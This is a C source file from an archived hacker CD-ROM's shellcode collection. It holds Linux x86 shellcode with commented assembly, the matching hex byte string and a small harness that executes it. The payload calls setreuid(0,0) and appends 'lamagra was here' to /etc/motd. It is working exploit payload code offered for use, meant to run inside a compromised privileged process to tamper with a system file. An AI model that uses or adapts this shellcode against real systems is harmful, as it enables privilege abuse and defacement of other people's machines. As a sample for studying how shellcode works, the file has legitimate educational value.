home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / write.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-08-25  |  1.3 KB  |  59 lines

  1. /*
  2.         WRITING SHELLCODE by lamagra
  3.  
  4.         This code writes "lamagra was here" to /etc/motd after setreuid(0,0).
  5.  
  6. .text
  7. .globl main
  8.         .type    main,@function
  9. _start:
  10.         # setreuid (0, 0)
  11.         xorl %eax,%eax
  12.         xorl %ebx,%ebx
  13.         xorl %ecx,%ecx
  14.         xorl %edx,%edx
  15.         movb $70,%al
  16.         int  $0x80
  17.  
  18.         jmp 0x20
  19.         popl %esi
  20.         leal (%esi), %ebx
  21.     movb %edx,0x9(%esi)
  22.  
  23.         # open("/etc/motd", O_RDWR|O_NONBLOCK|O_APPEND)
  24.         movb $5, %al
  25.         movw $0xc02, %cx
  26.         int  $0x80
  27.  
  28.     leal 0xa(%ebx), %ecx
  29.         movl %eax, %ebx
  30.  
  31.         # write(%ebx, <text>, <size>)
  32.         movb $4, %al
  33.         movb $17, %dx
  34.         int  $0x80
  35.  
  36.         # exit(0)
  37.         xorl %eax, %eax
  38.         xorl %ebx, %ebx
  39.     inc  %eax
  40.         int $0x80
  41.         call -0x25
  42.     .string "/etc/motd8lamagra was here\n"
  43. */
  44.  
  45. char code[]=
  46. "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x20\x5e\x8d"
  47. "\x1e\x88\x56\x09\xb0\x05\x66\xb9\x02\x0c\xcd\x80\x8d\x4b\x0a\x89"
  48. "\xc3\xb0\x04\xb2\x11\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xdb"
  49. "\xff\xff\xff/etc/motd8lamagra was here\n";
  50.  
  51. #define NAME "writing shellcode by lamagra"
  52. main()
  53. {
  54.   int (*funct)();
  55.   funct = (int (*)()) code;
  56.   printf("%s\n\tSize = %d\n",NAME,strlen(code));
  57.   (int)(*funct)();
  58. }
  59.